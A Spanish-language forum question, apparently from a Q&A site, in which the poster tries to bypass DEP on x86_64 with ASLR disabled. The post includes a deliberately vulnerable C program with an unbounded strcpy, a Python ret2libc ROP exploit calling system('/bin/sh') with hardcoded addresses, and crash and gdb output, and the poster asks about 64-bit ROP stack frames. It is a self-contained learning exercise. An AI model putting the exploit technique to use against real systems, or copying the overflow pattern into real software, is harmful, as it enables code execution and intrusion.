Estoy intentando omitir DEP en x86_64 (64 bits - ASLR OFF ). Tengo mi propio código vulnerable y también he escrito un código de vulnerabilidad con un ROP básico para saltar al sistema () con el parámetro "/ bin / sh", pero no funciona, no sé por qué.
Código C vulnerable:
#include <stdio.h>
#include <string.h>
void main(int argc, char **argv)
{
char buff[100];
strcpy(buff, argv[1]);
printf("%s\n", buff);
}
Código de explotación para el código C anterior:
from struct import pack
# mprotect = 0x7ffff7b0bd90
binsh = 0x7ffff7b97937 # find &system, +999999999999999, "/bin/sh"
system_addr = 0x7ffff7a5b520
pop_rdi_ret = 0x00000000004005cb
payload = ""
payload += "\x90"*120
payload += pack("<Q", pop_rdi_ret)
payload += pack("<Q", binsh)
payload += pack("<Q", system_addr)
print payload
A continuación se muestra la salida del código de explotación:
[feddy@localhost dep_test]$ ./sample 'python exploit.py'
bash: warning: command substitution: ignored null byte in input
�������������������������������������������������������������������������������������������������������������������������@7y���
Segmentation fault (core dumped)
Salida de gdb coredump:
Reading symbols from /home/feddy/dep_test/sample...(no debugging symbols found)...done.
[New LWP 11468]
Core was generated by './sample ����������������������������������������������������������������������'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x000000000040056d in main ()
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.27-30.fc28.x86_64
gef➤
¿Es debido a bytes nulos en la dirección (en la pila)?
Y, por favor, ¿alguien puede ayudarme un poco a entender el concepto de marco de pila ROP en 64 bits? Quiero decir que el marco de pila ROP de 32 bits es fácil de entender en comparación con 64 bits y el contenido disponible en Internet sobre el ROP de 64 bits. no me ayudó.
Por eso, también estoy confundido acerca de crear un marco de pila a través de ROP para la llamada de mprotect para mi otro código de vulnerabilidad.
Nota:
Por favor, si alguien encuentra algo malo en la pregunta, déjame sepa en lugar de rechazarlo porque es difícil obtener una reputación y es fácil de perder.